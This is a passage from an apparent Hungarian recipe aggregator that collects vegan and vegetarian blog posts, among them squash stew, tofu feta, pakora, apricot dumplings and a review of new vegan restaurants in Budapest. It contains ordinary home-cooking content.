közepes lángra és tedd bele a ghít, majd a fekete mustármagot - a legjobb ha letakarod, mert amikor kipattog, akkor kiugrálhat az edényedből. Húzd le a tűzről picit az edényt amíg pattog a mustármag, majd add hozzá a római köményt, majd ha pirulni kezdett add hozzá az aszafoetidát, a kurkumát és a chilit. Utána add hozzá a káposztát és a sót,. Keverd össze és tedd rá a fedőt. Tedd takarékra és addig főzd, amíg a káposzta meg nem puhul, de még ropogós marad. (kb. 8-10 perc) Tálalhatod rizzsel vagy chapati kenyérrel - receptet itt találod.
Kefíres tökfőzelék
2016. szeptember 8. Éltető ételek
A gyerekek általában nem szeretik a tökfőzeléket, nálunk ez az arány 2:1. Azaz a kicsi és a nagy szereti, a középsőm meg a háta közepére kívánja. :) De most ezt a kefíreset megkóstolta, és nem azt mondom, hogy megszerette, de megette. :) Szóval, hajrá tökfőzelék, amíg még szezonja van. Hozzávalók: - 1 kg tök, reszelve (gyalulva) - 1 fej vöröshagyma finomra vágva - 1 gerezd fokhagyma reszelve - 1 evőkanál kókuszolaj - Himalája só, bors - 1 kis pohár kefír - 2 evőkanál kölesliszt vagy kukoricaliszt - 1 kis csokor friss kapor (vagy szárított) - kevéske friss citrom leve Elkészítése: - A legyalult tököt sózzuk be, és hagyjuk állni kb. 5-10 percig. - A kókuszolajon a hagymát pároljuk üvegesre. Reszeljük bele a fokhagymát. - A tököt nyomkodjuk ki (levet eresztett), majd tegyük a hagymára.Szórjuk rá a lisztet, és kb. 2 dl vizet öntsünk rá. Ha van zöldség alapleved, azzal még ízletesebb lesz.Fedő alatt 6-8 percig főzzük.A főzelék 1/4-ét vegyük ki, és kissé botmixerezzük össze. Öntsük vissza az alaphoz, majd szórjuk bele az apróra vágott kaprot. Forraljuk össze, majd adjuk hozzá a kefírt. Ekkor már nem kell felfőzni, csak összemelegíteni. Pici citrom levével ízesítsük.
Csillagtök fasírt
2016. szeptember 6. Éltető ételek
Csillagtök, azaz patisszon. Ismered? Többnyire csak rántva szokták elkészíteni, pedig több lehetőség van benne. Lehet tölteni, lecsóba is kerülhet, de készíthetünk belőle fasírtot is. Egy jó nagy adag salátával tökéles vacsora lesz belőle. Hozzávalók: - 1 szép patisszon (csillagtök) - 1 közepes fej vöröshagyma - 2 gerezd fokhagyma - 3-4 evőkanál zabliszt - 1 házi tojás - himalája só, bors, pirospaprika, chili, őrölt kömény - sütéshez: kókuszolaj Sült répával és burgonyával, házi csemege uborkával. Elkészítése: - A patisszont hámozd meg, majd gyaluld le (a magos rész nem kell). Vigyázz az ujjadra. :) - Kicsit sózd be, és hagyd állni úgy 5 percig. - Nyomkodd ki belőle a levet, add hozzá az apró kockára vágott hagymát és reszeld bele a fokhagymát is. - A tojással és a zabliszttel jól keverd el. - Fűszerezd. - Az előmelegített serpenyőbe tegyél egy kevéske kókuszolajat, majd kanálnyi mennyiségeket halmozz a masszából. - Néhány perc alatt süsd meg mindkét oldalát.Ha vegán változatot szeretnél, akkor a tojást nyugodtan hagyd ki (ettől lazább lesz az állaga), de egy kevéske szódabikarbóna jót fog tenni neki. Így néz ki a patisszon.
Banános, zabpelyhes energia szelet vörös áfonyával
2016. augusztus 31. Fittanyuka
Nagy zabpehely rajongó vagyok, szinte minden nap fogyasztom, leginkább reggelire már több éve és nem tudom megunni. Magas fehérje és ásványianyag tartalma miatt a szuper egészséges gabonák közé sorolják. Sok vita folyik akörül, hogy gluténmentes vagy sem?! A zab alapvetően gluténmentes, a problémát a kereskedelmi zabkészítmények búzával való szennyezettsége okozza, ezért nem ajánlják sokan, sokszor gluténmentes diétában. Számtalan zabpelyhes reggelit készítek több variációban, magvakkal, friss vagy aszalt gyümölcsökkel, rizs vagy mandula tejjel. Az összetevőket egyszerűen csak összekeverem és mint müzli fogyasztom. Legújabb kedvencem ez a nagyon egyszerű banános zabpelyhes “energia szelet”, amelyet szintén kedvünk szerint variálhatunk és magammal vihetem ha nincs időm reggelizni. Hozzávalók: 1 csésze zabpehely 2 db érett banán maréknyi vörös áfonya, lehetnek más aszalvánok, magvak ízlés szerint 2 evőkanál kókusz olaj 2 evőkanál víz Elkészítés: Villával összetörjük a banánt, hozzákeverjük a zabpelyhet, kókusz olajat, vizet, aszalványokat, magvakat ha szeretnénk gazdagítani. Sütőpapírral kibélelt tepsibe evőkanállal kis halmokat rakunk, enyhén formáljuk. Előmelegített sütőben 15-20 perc alatt 180 C fokon enyhén aranybarnára sütjük.
Vegán carbonara spagetti recept, ami egyszerű, mint az 1×1
Édesanyám mindig nagy örömmel készít nekem vegán ételeket, mikor meglátogatom a szülői házat. Nemrégiben megkértem, hogy találjon ki nekem egy vegán carbonara spagetti receptet, hiszen nem ettem ilyet már legalább 4 éve. Azóta, mióta vegán vagyok. A végeredmény fantasztikus lett, pont olyan, amilyenre emlékeztem, így most az ő receptjét olvashatod. Hozzávalók: 1/2 csomag tojásmentes spagetti 1 csomag növényi felvágott 400 ml (2 doboz) növényi tejszín 1 evőkanál kókuszolaj 1 evőkanál sörélesztő pehely só bors A felvágottat apró kockákra vágjuk, az olajon illatosra pirítjuk, majd picit sózzuk és borsozzuk. Hozzáadjuk a sörélesztő pelyhet és a növényi tejszínt. Összefőzzük. A tésztát sós vízben megfőzzük , majd leszűrjük. Belekeverjük a szószba, és jól összedolgozzuk. Jó étvágyat! loading... var SC_CId = 170598,SC_Domain=n.ads1-adnow.com;SC_Start_170598=(new Date).getTime(); The post Vegán carbonara spagetti recept, ami egyszerű, mint az 1×1 appeared first on VegaNinja.
Spenótos tofutorony (vegán)
Nagyon könnyű elkészíteni, ráadásul olyan jól néz ki a tányéron, hogy alig bírtam ki a fotózás alatt, hogy ne faljam fel rögtön. :) Külön ajánlom könnyed vacsorára azoknak, akik a napi munka után ennének valami könnyűt, ami inkább fehérjében, mint sem szénhidrátban gazdag. Gluténmenteseknek, tejérzékenyeknek is ajánlom. Remek falatok fogyókúrázóknak, diétázóknak, cukorbetegeknek is.
A recept
Hozzávalók:
- 1 doboz tofu
- néhány marok spenót
- só
- fokhagyma
- 1 paradicsom
Elkészítés:
A tofut felszeleteljük és tapadás-mentes vagy sütőpapírral bélelt tepsibe helyezzük a szeleteket. Ha natúr tofu, enyhén megsózzuk. Betesszük a sütőbe sülni, várhatóan 20 perc alatt vízet veszt, ha tovább sütjük, akár ropogós széle is lesz. Közben a spenótot megmossuk, egy lábosba tesszük, megszórjuk kevés sóval, nyomunk bele 1-2 gerezd fokhagymát és önmagában megpároljuk (vizet enged, nem kell alá semmi). Ha a tofu megsült, a spenóttal felváltva tornyot "építünk". Az utolsó tofu tetejére paradicsomot helyezünk. (Természetesen a tofukat serpenyőben is kisüthetjük, lehelletnyi kókuszzsírral. Nekem egyszerűbb volt a sütési idő alatt mást is csinálnom.)
Vegán töltött padlizsán
2016. július 29. Éltető ételek
Tölteni bármilyen zöldséget lehet. Ilyenkor nyáron a cukkini és a padlizsán a sláger, de télen akár karalábéba is tölthetjük. Ebből a töltelékből nagyon finom melegszendvics krémet készítettem. Hozzávalók: - 1 evőkanál kókuszolaj - 1 vöröshagyma - 2 kápia paprika (vagy piros paprika) - 2 padlizsán - 1 szép nagy paradicsom - 2 gerezd fokhagyma - friss bazsalikom, rozmaring, chili - himalája só, bors - löttyintésnyi vörösbor - 1 csésze köles - pác: olívaolaj, füstölt piropaprika, só, 1 gerezd fokhagyma Elkészítése: A hagymát vékony szeletekre vágd fel. A kókuszolajon kezd el pirítani, majd reszeld bele a fokhagymát is.A paprikát is kisebb csíkokra szeleteld, majd add hozzá a hagymához. A padlizsánt mosd meg, a szárát vágd le. Hosszában vágd ketté, a belsejét kanállal vagy késsel ügyesen vágd ki úgy, hogy kis hajószerű legyen belőle.A kikapart padlizsánt és a paradicsomot is kisebb kockára szeleteld, majd hozzáadhatod a paprikás töltelékhez.Süsd össze, löttyints bele egy pici vörösbort.Fűszerezd a friss zöldfűszerekkel, sóval, borssal és a chilivel.Lefedve párold kb. 5-10 percig, majd fedő nélkül még süsd ugyanennyi ideig.A kölest alaposan mosd át, majd száraz serpenyőben pirítsd meg. Önts rá 2 csésze vizet, és sózd meg. Lefedve, mintegy 15 perc alatt főzd meg.Lazán forgasd össze a ragut a kölessel.A padlizsán hajókat locsold meg olívaolajjal, szórjál bele pici füstölt pirospaprikát és reszelj bele 1 gerezd fokhagymát. A kezeddel dörzsöld bele a padlizsánba.
Vegán fetasajt és fetasajtkrém tofuból, egyszerűen
Az eredeti receptet a Kozmosz Vegán Étterem tulajdonosa súgta meg nekem, engedelmével most megosztom veletek is. Rendkívül egyszerű megcsinálni, viszont az evését abbahagyni nem annyira! A vegán fetakockákat spagettire, salátára, rizottóba teheted, vagy villával összetörve a kapott krém szendvicsen (paradicsommal, hagymával, hmmm!) és mártogatósként is nagyon finom. Megtölthetsz vele paradicsomot vagy paprikát, esetleg gombafejeket, padlizsánt, cukkinit amit utána összesütsz sütőben. Hozzávalók: 2 tömb tofu rozmaring tárkony (kihagyható) 1 nagy gerezd fokhagyma felszeletelve 1-2 teáskanál só olaj vagy víz egy darab 370 ml-es befőttes üveg Két verziót készíthetsz: az olajmentes sokkal egészségesebb, hiszen a testednek semmi szüksége az extra olajra. Azonban az olajban tárolt tovább eláll, és ez hasonlít 100%-osan az eredeti fetasajtra. Tofuból is kísérletezhetsz több márkával. A Toffini jobban hozza a “kecskeízt”, amit éppen ezért sokan nem szeretnek. Lejárathoz közeli tofuból készítve sokkal krémesebb is lesz, mint a Lunter márkájú. Ez utóbbi semlegesebb ízű, régebb óta vegánoknak inkább ezt ajánlom. Olajos verzió A tofuról leöntöm a levet, 1 x 1 x 1 centis kockákra vágom. Az üveg aljára teszek egy marékkal, megszórom sóval, fűszerekkel, és pár szelet fokhagymát teszek rá. Erre jöhet a következő réteg tofu, só, fűszerek és fokhagyma. Kb. 3 rétegből megtelik az üveg. Ez után felöntöm tetszés szerinti, folyékony olajjal, és alaposan felrázom. A kókuszolaj nem alkalmas erre, mert 25 fok alatt szilárdul, és ez nem szerencsés, hiszen hűtőben kell tárolni. 1-2 nap alatt jól átveszi a rozmaringos, nagyon enyhén fokhagymás ízeket. Az olajos verziót akár egy hónapig is a eláll, ám ez nálam még sosem derült ki, egy hét alatt sajnos mindig elfogy. Olajmentes verzió A tofu leöntött levét félreteszem, a tofut felkockázom, és a fent leírtak szerint rétegezem a fűszerekkel, sóval és a fokhagymával. A végén ráöntöm a tofu levét és annyi vizet, hogy ellepje. Hűtőbe teszem, és már fél nap után elkezdi felvenni az ízeket. Egy hét alatt érdemes elfogyasztani. Extra tipp: ha szereted a zöld olívát, megmaradt levét is felhasználhatod a páclé elkészítéséhez, hogy még pikánsabb pácolt tofut, azaz vegán fetát kapj. The post Vegán fetasajt és fetasajtkrém tofuból, egyszerűen appeared first on VegaNinja.
Ribizlis “joghurt” zselé
Nagyon régóta nem fogyasztok tejterméket, közel tíz éve egyáltalán nem és nem is hiányzik. Anno a tejtermékek közül a kedvencem a joghurt volt, akár gyümölcsösen is, habár ma már tudom, hogy a tejtermékeket gyümölccsel társítani nem szerencsés, mert összeerjednek a bélrendszerben. Ennél a desszertnél nem kell ettől tartani és mégis emlékeztet a gyümölcsös joghurtra, ugyanis a növényi tejeket, tejszíneket bátran társíthatjuk a gyümölcsökkel.
Gyorsan elkészül és bármilyen gyümölccsel készíthetjük. Vegán,-glutén és cukormentes desszert.
Hozzávalók: 2 főre
200 ml kókusztejszín
100 g ribizli
1 dl víz
0,5 evőkanál eritrit vagy ízlés szerint
1 teáskanál agar – agar ( növényi zselésítő)
- A vizet az agar-agarral feltesszük főni. Nem forraljuk, csak melegítjük, amíg a por fel nem oldódik és forráspont alá kerül. Hozzáadjuk az eritritet és a ribizli felét.
- A többi ribizlit megtisztítjuk és a tálaló tálunkba, poharunkba tesszük.
- A kókusztejszínt hozzákeverjük a ribizlis “zseléhez”, felforraljuk és utána a tálaló poharakba öntjük, hagyjuk hűlni szobahőmérsékleten, majd a hűtőben jól behűtjük.
Bianka málnás cupcake sütije- TOMBOL A NYÁR!
Mostanában megint sok a projekt, így sajnos kicsit kevesebb idő jutott a blogolásra. Mint ahogy korábban is írtam, készülőben van egy kis megújulás is a háttérben. Én már nagyon várom, remélem Nektek is tetszeni fog! Ha még nem tettétek, kövessetek facebookon és instagramon is! ;) Most pedig szeretném bemutatni Nektek Biankát, aki egy szuper desszert receptet hozott. :) Bianka több éve vegán. Fodrászként is fontos számára, hogy vegán kozmetikumokat használjon, valamit, hogy vendégei körében is népszerűsítse a természetes hatóanyagokat tartalmazó, vegán hajápolási termékeket. A most következő receptet a hamarosan megjelenő CHANGE FOR CHANGING kiadványban is megtalálhatjátok. A CHANGE FOR CHANGING közösség mottója: "A változások nem maguktól jönnek, tennünk kell érte! Célunk az állatok és környezet aktív védelme, mely által képesek vagyunk változni és változtatni." Csatlakozzatok közösségünkhöz, hogy összefogva, egymást támogatva napról napra többet tehessünk a minket körülvevő világért! Most pedig kövezkezzen a recept Biankától! :) Málnás cupcake sütés nélkül Ez a kedvenc cupcake receptem a nyári időszakban. Egészséges, hűsítő és könnyű elkészíteni. Mindig szezonális gyümölcsöket használok. Ezúttal málnára esett a választásom, de elkészíthető bármilyen más gyümölccsel is! Hozzávalók: Az alaphoz: fél csésze kesudió fél csésze mandula vagy dió 8 db datolya(magozott) kakaópor ízlés szerint csipet só A krémhez: 1 csésze kesudió 1 teáskanál agavé szirup vagy más méz helyettesítő egy facsarásnyi citrom vagy limelé 2 teáskanál kókuszolaj málna (minél több :)) Díszítésnek: menta és málna Recept: A kesudiót áztassuk be 3 órára. Alaphoz: Az alap összes hozzávalóját aprítógép segítségével kikeverjük, de ne túl simára. A fromákat töltsük meg félig, majd nyomkodjuk jól le. A krémhez: Öblítsük át a kesudiót. A krém hozzávalóit keverjük jó sűrűre, majd kanalazzuk a tetejére. Díszítéshez használjunk málnát és menta leveleket. Tegyük mélyhűtőbe ,amíg a krém megkeményedik! A fagyasztóból kivéve fél óra múlva fogyasztható. Ennyi az egész! Bianka :)
Vegán, búzacsírás sárgabarack gombóc
Ne gondoljátok azt, hogy egy gyümölcsös gombóc készítése nagyon nehéz lenne. Szerintem nem lehet elrontani, csak az elkészítése egy kis odafigyelést igényel. Ha betartod a leírtakat, biztosan neked is sikerülni fog. Hozzávalók: - 50 dkg héjában megfőtt burgonya - 10 dkg teljes kiőrlésű tönkölyliszt - 10 dkg fehér tönkölyliszt - 1 evőkanál olívaolaj vagy kókuszolaj - 1 evőkanál tönköly búzadara (gríz) - csipet só - kb. 10 db érett sárgabarack - fahéj, kókuszvirágcukor Morzsa: - kb. 10 dkg búzacsíra - kb. 10 dkg darált dió - 1-2 evőkanál kókuszcukor - 1/2 mokkáskanál fahéj - 1 evőkanál kókuszolaj Elkészítése: A morzsához a darált diót a kókuszolajon folyamatos kevergetés mellett picit pirítsuk meg, éppen csak annyira, hogy enyhén illatos legyen. Vegyük le a tűzről, picit hagyjuk hűlni, majd szórjuk bele a búzacsírát, a cukrot és a fahéjat.Közben a héjában megfőtt burgonyát még melegen krumplinyomóval törjük át. Hagyjuk teljesen kihűlni!Szórjuk bele a lisztet, a darát, a sót, és az olajat is csorgassuk bele.Gyúrjunk belőle egy ruganyos tésztát.Kilisztezett deszkán nyújtsuk ki kb. 0,5 cm vastagra, és kockázzuk fel mintegy 8 cm-esekre. No, nem kell mérni, csak úgy szemre. :) Persze ez függ a barack méretétől is, de én jobban szeretem a max. pingponglabda méretűeket.A barackot magozzuk ki, szórjunk rá kókuszcukrot és fahéjat. Jól forgassuk össze. Ez lesz a töltelék.Mindegyik kockatésztára tegyünk egy cukros barackot, és ügyesen gombócozzuk.Lobogó, enyhén sós vízben főzzük ki, de ne egyszerre. Amikor feljön a gombóc a víz tetejére, még utána úgy 4-5 percig főzzük.A lecsöpögtetett gombócokat forgassuk meg a búzacsírás morzsába.
Pezsgős sárgabarack smoothie
Ritkák veszek szénsavas ásványvizet, többnyire csak a palacsinta tésztához vagy kölyök pezsgőhöz használok. Most viszont hirtelen felindulásból ebbe a turmixba is került egy kevéske. Nem rontotta el... sőt, igazán pezsgős lett. Hozzávalók: - 3 szép nagy és érett sárgabarack - 1/2 banán - 1,5 dl kókusztej - 1,5 dl szénsavas ásványvíz - 2-3 csepp narancsolaj - késhegynyi vaníliapor Elkészítése: A gyümölcsöket a kókusztejjel és a fűszerekkel turmixoljuk krémesre. A végén adjuk hozzá az ásványvizet.
Gyors, élesztőmentes cukkinis pogácsa
2016. július 6. Élj harmóniában
Gyors, élesztőmentes cukkinis pogácsaNyáron a pogácsa ideális étel kiránduláshoz, kerti partikhoz, utazáshoz. Reggel elkészítheted, könnyen szállítható és egész nap bármikor eheted. Ugyan én nem nagyon eszem több napos ételt, de egy pogácsa még másnap is fogyaszthat:) Tálalhatod salátákkal, párolt zöldségekkel vagy l evesekkel. Hozzávalók 40 dkg graham liszt (gluténmentes változatban én hajdinalisztet használok ) 10 dkg zabpehely (gluténmentes diétában gluténmentes zabpehely) 1 csg sütőpor 4 ek szezámmag (vagy vegyes magvak ) 10 dkg vaj (vegán változatban kókuszzsír) 1 cukkini 1 tk. pirospaprika só víz Vegyszermentes (bio) alapanyagokat használj! Tedd a hozzávalókat egy tálba és jól keverd össze. Majd annyi vizet tegyél hozzá, hogy, egy lágy formázható tésztát kapj. Formázz a kezedbe kis pogácsákat és tedd s ütőpapírral bélelt tepsibe. Akár kanállal is szaggathatod. 180 fokra előmelegített sütőben süsd készre. (kb. 20 perc)
Új vegán éttermek Budapesten, amiket te is imádni fogsz!
Nem panaszkodhatnak a budapesti vegánok, sorra nyílnak az új helyek, ahol jobbnál jobb vegán ételekkel tömhetjük meg a hasunkat, és ha igazán különleges élményre vágyunk, azt is könnyen megkaphatjuk. Három új kedvencről fogok most írni, és egy negyedik, régebbi, ám kevésbé ismert játékosról. Cigköftem vegetáriánus török étterem 1. Cigköftem Teréz körút 20. (az Oktogonon) - vegetáriánus, vegán opcióval A Törökországból induló, de világszerte jelen lévő étteremlánc kínálatában egyetlen finomság áll a középpontban, de azt magas minőségben és őrülten jól harmonizáló ízekkel készítik. Bulgurt és paradicsompürét dolgoznak össze egy sűrű masszává, természetesen sok fűszerrel. Csípős, és kevésbé csípős verzió létezik, de a kevésbé csípős is túl csípős lehet azoknak, akik nincsenek hozzászokva. Apropó, tudtad, hogy a budapesti karácsonyi vásárban kapható csípős, édes, és csípmentes paprika? Hetekig ezen nevettünk, mikor megtaláltuk. Mint kiderült, ez egy létező, de feltehetőleg régies kifejezés. A cigköfte nevű masszát kérheted dürüm (lavas kenyérbe terkerve) és hamburger formájában. Én tekercsben kóstoltam, és rögtön rajongóvá váltam: a masszát belesimítják a lavas kenyérbe (ami olyasmi, mint a tortilla), jégsalátát, uborkát, paradicsomot, mentaleveleket, zellerleveleket tesznek mellé, és itt jön a trükk: gránátalmaszósszal és friss citrom levével locsolják meg az egészet. A cigköfte ízei olyan jól harmonizálnak a mentával és a gránátalmaszósszal, hogy rögtön meg akartam enni egy másodikat. Ami sajnos sikerült is volna, mert az adag elég kicsi, de végül a fagyi mellett döntöttünk. A hamburgeres verzióban ugyanezek az összetevők vannak, csak másképp néz ki, ám ez sem laktatóbb, mint a tekercses testvére, de cserébe 690-790 Ft-os árakkal számolhatunk. Kapható még icli köfte, ami párolt zöldségekkel töltött batyu, van gyümölcssaláta, és előfordul még vegán sütemény is. Kék Ló vegetáriánus étterem és fashion pub 2. Kék Ló Víg utca 28. (a Rákóczi téri piac mögött) - vegetáriánus, vegán opcióval A Kék Ló Fashion Pub régen a Kazinczy utcában volt, upcycled ruhaboltnak indult, majd - a ruha részleget megtartva – kávézóvá és bárrá alakult. Februárban költöztek a Víg utcába, itt már enni is lehet, nem is akármilyet: a napi menü, bár alapvetően egyszerű receptekről van szó, mégis különleges ízpárosításokkal dolgozik. Volt alkalmam beszélgetni tulajdonossal, aki iszonyú jófej, és nagyon hamar megtaláltuk a közös hangot. Mesélt vegánná válásáról, az újonnan felfedezett ízekről, a Ló előéletéről és a további elképzelésekről. Berlinben él, ahol van egy másik, teljesen vegán Kék Ló, melynek hatására a közelben lévő gyrosos és a pékség is elkezdett vegán ételeket árulni. Menüt ettünk, a leves egy répás, gyömbéres, krumplis, kókusztejszínes krémleves volt, a második fogás pedig basmati rizzsel és isteni paprikakrémmel tálalt zöldségragu. Ez után még legyűrtem egy csilis-csokis sütit, aminek a belsejében szaftos gyümölcsdarabok voltak elrejtve. A menü és a süti is naponta változik, ezen kívül helyben készült paninit is készítenek, természetesen vegán verzióban is, és áraik hasonlóan barátságosak, mint a hely maga. Az enteriőrről is érdemes szót ejteni, hiszen nagyon különleges és nagyon öko. Ahogyan a ruhák, a berendezés is upcycled, tehát meglévő tárgyak felhasználásával alkották meg, így is csökkentve az ökológiai lábnyomot. Az ezüstös falak között csupa meghökkentő furcsaság gazdagítja a vizuális élményt. Nehéz bármit kiemelni, inkább nézz be még ma! Mysore Pack vegán és nyers vegán étterem 3. Mysore Pack XI. Szabolcska Mihály utca 3. (az Allee-nál) – vegán és nyersvegán A korábbi VegaRáma helyett nyílt, különleges neve a mysore pak nevű édességre utal, ami az indiai Mysore városából ered. Az indiai tematika vizuálisan is megjelenik az étteremben, a falon indiai istenképek, a földön párnák, a hely hangulatát pedig belengi a spiritualitás, ennek megfelelően a kiszolgálás nagyon barátságos és lelkes. 5 után érkeztünk, páran már izgatottan készültek az esti kirtanra, ami egy zenés mantraéneklés. A tervek szerint minden kedden megrendezik majd. Az ételek ízletesek és szaftosak voltak. Nyers gyömbérlevest, töltött paprikát és ratatuille-t ettünk, amit lekísértünk egy csokis-ananászos palacsintával. Macska vegetáriánus étterem és pub +1. Macska Bérkocsis utca 23. (a Blahához közel) - vegetáriánus és vegán A Macska nem új hely, de a szívemhez és a lakhelyemhez is nagyon közel áll. Inkább pub, mint étterem, rengeteg különleges, kézműves sört tartanak, 2-3 féle magyar, kézműves sör pedig csapoltan is kapható. A kapható ételeknek kb. a fele vegán, a többi vegetáriánus. Bablevesben és mentás borsólevesben verhetetlenek, egy adaggal simán jól lehet lakni, de kóstoltam már náluk más fajta levest és dahlt is. A meleg, otthonos félhomályban mindig van mit nézni, a falakon időszaki kiállítások képei függnek, a párnákon ücsörgős galériára vezető lépcsőt pedig facicák díszítik. A kiszolgálás itt is kedves, szívesen járok vissza hozzájuk. Képek forrása: Facebook, Tripadvisor The post Új vegán éttermek Budapesten, amiket te is imádni fogsz! appeared first on VegaNinja.
Karfiol pakora, sült édesburgonya, párolt mangetout és roppanós bébikukorica (gluténmentes, laktózmentes, tojásmentes, vegán)
karfiol pakora, sült édesburgonya, párolt mangetout és roppanós bébikukorica (mindenmentes, vegán) A történet úgy kezdődött, hogy akciós volt az édesburgonya és a karfiol is. Mivel mindkettőt szeretjük, bekerültek a bevásárló kosárba. Itthon aztán elkezdtem figyelni magamat, hogy milyen ízre vágyom, milyen formában kívánnám a karfiolt és az édesburgonyát. Őszintén "magamba néztem" és rájöttem, hogy már sokféleképpen próbálkoztam az édesburgonyával, de igazán a tetszésemet a maga egyszerűségében nyerte el. Hasábokra vágva és sütőben megsütve, ahogyan azt már korábban a diósült receptnél megmutattam nektek itt a Zöld Avocado vegetáriánus gasztroblogon. ;-) Most is így fog elkészülni! (Gondoltam magamban...miközben magamba néztem. :-D Bárcsak ne lennék ennyire vizális típus. Ez a kép nagyon morbid!) Mivel az édesburgonya puha és krémes lesz, kéne mellé valami kemény és rágható, mert nekem az mindig fontos minden ételben... hogy legyen mit rágni. Ekkor már tudtam is a választ: rántott karfiol édesburgonyával a holnapi ebéd! Találtam még a hűtőben párolnivaló zöldségeket is. Kevesebb, mint egy óra alatt pedig elkészült ez a szép, színes menü az édes és sós ízek kedvelőinek. karfiol pakora, sült édesburgonya, párolt mangetout és roppanós bébikukorica (mindenmentes, vegán) Nem volt kedvem órákat tölteni a karfiolrózsák panírozásával ezért a Hémangi főzőiskolájában tanult, indiai verziót választottam. A pakora készítést én csak "lusta panírnak" nevezem. Nincs szükségünk tonnaszám tányérokra az előkészületekhez és nem kell a bundázáshoz egyenként beleforgatnunk a zöldségeket a panírba. A pakora lényege, hogy egy sűrű palacsintatészta szerű masszát készítünk csicseriborsólisztből, beledobáljuk a tetszés szerinti zöldségeket, majd forró olajban pár perc alatt kisütjük őket. Egyre többen választják egészségügyi okokból, etikai okokból vagy szabad akaratból a teljesen növényi alapú táplálkozást. Mivel az indiaiak nagy része nem fogyaszt tojást (vallási okokból) ezért a pakora a vegán étkezők számára is nagyszerű lehetőségeket rejt. A bundázni kívánt zöldségeket tetszés szerint variálhatjuk és a pakora ízesítését is változtathatjuk kedvünk szerint. Nálam most egy sós - enyhén római köményes (ettől lett indiai jellegű) bundát kaptak a karfiolrózsák, melynek a csodaszép sárga színéről a kurkuma gondoskodott. Balázs szerint finomabb lett, mint a jól megszokott, hagyományos rántott karfiol. Sajnos a sütögetés ebben az esetben is olaj fröcsögéssel jár, de az előkészületek és az utómosogatás időtartalmát jelentősen lehet csökkenteni ezzel a módszerrel. ;-) Általában a zöldség pakorák mellé édes-fűszeres csatnikat (mártogatós) készítenek. Én úgy éreztem ennél a menünél nincs erre szükség. Az édesburgonya krémes lágysága és édes íze, a fűszeres pakora bunda, a párolt zöld mangetout borsó és a roppanós, nyers, friss bébikukorica tökéletes íz- és állagharmóniát alkottak a szánkban. Semmi sem hiányzott... szerintünk. ;-) karfiol pakora, sült édesburgonya, párolt mangetout és roppanós bébikukorica (mindenmentes, vegán) HOZZÁVALÓK (4 személyre) - 1 kg édesburgonya - 200 g mangetout borsó - 200 g bébikukorica - 1 közepes fej karfiol - 200 g csicseriborsóliszt - sütéshez tetszés szerinti olaj (én repceolajat használtam, de mehet bele kókuszolaj vagy olívaolaj is, ha nem sajnáljuk rá a pénzt) - 1 tk kurkuma, Himalája só, 1 kk szárított chili, 1/2 kk őrölt római kömény - elhagyható - csipet sütőpor karfiol pakora, sült édesburgonya, párolt mangetout és roppanós bébikukorica (mindenmentes, vegán) ELKÉSZÍTÉS A párolni kívánt zöldségeket 5-10 perc alatt párolóedényben készre pároljuk. A bébikukoricát is meg lehet párolni, de én most nyersen ropogtattam az étel mellé. Sokkal frissebb és zamatosabb. (A párolás és a főzés nem ugyanaz a konyhatechnikai eljárás. A párolás során a zöldségek a tápanyagtartalmuk nagyobb részét megőrzik, mint a főzés során. Párolni egészségesebb. Erre a célra kifejlesztett párolóedényt érdemes beszereznünk, ha tudatosan szeretnénk táplálkozni a hétköznapokban. Megkönnyítik az életünk. ;-) ) sült édesburgonya Az édesburgonyát meghámozzuk majd tetszés szerinti méretű hasábokra vágjuk és sütőpapírra helyezzük őket. Előmelegített sütőben, légkeveréses programon, 220 °C-on, kb. 25-30 perc alatt készre sütjük a finom édes hasábokat. A karfiol pakorához a karfiolt rózsáira szedjük, alaposan megmossuk. A "bundához" a csicseriborsólisztet a sóval, fűszerekkel (kurkuma, szárított chili, őrölt római kömény) és opcionálisan a sütőporral elkeverjük, majd annyi vizet adunk hozzá, hogy egy sűrű palacsintatésztát kapjunk. Közben az olajat feltesszük melegedni egy magasfalú edényben. Eldönthetjük, hogy a karfiolt egyenként mártogatjuk a csicserilisztes tésztába, vagy egyszerre többet is beleszórhatunk. (Én ezt a türelmetlenebb verziót választottam.) Ha egyenként mártogatjuk bele őket, akkor kisebb "kabátot" kap majd egy-egy karfiol darabka. Én nem bántam, hogy vastagon bundázott karfiol pakora lett a végeredmény. Amikor már elég forró az olaj, beledobáljuk a csicseris trutyiba mártogatott karfiolokat és a szokásos módon kisütjük őket. Mint a hagyományos rántott karfiolt. Vigyázzunk a forró olajjal! Használjunk fém eszközt a forgatáshoz illetve a kiszedéshez. Amikor már elkezd pirulni a bunda, csepegtessük le, majd szedjük ki egy papírkéztörlővel bélelt tálba az elkészült karfiol pakorákat. Tálaljunk tetszés szerinti mennyiséget és Jó étvágyat a színes menühöz, ami kb. egy óra alatt elkészíthető egyszerűen! karfiol pakora, sült édesburgonya, párolt mangetout és roppanós bébikukorica (mindenmentes, vegán)Táplálkozz, ne csak étkezz! :-) Megjegyzés: A mangetout egy olyan cukorborsó fajta, melyben a borsó szemek igen kicsik és zsengék, a borsó héja is ehető, így az egész borsó hüvelyével együtt fogyasztható. A szó jelentése "Edd meg az egészet". Gyakori alapanyaga az ázsiai wok ételeknek és párolva is nagyon finom. Ha nem találunk a boltban mangetout borsót, használjunk helyette párolt ceruzababot ebben az ételben. Bővebben a borsókról a mindmegette oldalán olvashattok.
Lecsós rizottó
2016. június 23. Éltető ételek
A minap paradicsomos rizottót készítettem, ma pedig lecsósat. Jön a paprika, paradicsom szezon, nyáron biztos sokszor fogok ilyet készíteni. Az alapja egy egyszerű lecsó, ebbe főzöm a rizst. Hozzávalók: - 1 evőkanál kókuszolaj - 1 csésze rizottó rizs - 1 vöröshagyma - 1-2 gerezd fokhagyma - 2 érett paradicsom - 1-1 zöld és piros paprika - himalája só, bors, chili, füstölt pirospaprika Elkészítése: A hagymát vágjuk fel kis kockára. Dinszteljük meg benne a hagymát, majd reszeljük bele a fokhagymát is.A paprikát vágjuk fel kis szeletekre, a paradicsomot kockázzuk fel. Először a paprikát, majd egy kicsit később a paradicsomot is tegyük a hagymára. Sózzuk meg, kb. 15 perc alatt süssük össze,Adjuk hozzá a rizst, és folyamatosan adagoljunk hozzá annyi vizet, amíg meg nem puhul a rizs. Kb. 25 perc alatt elkészül. Fűszerezzük ízlés szerint.
Kókuszkeksz
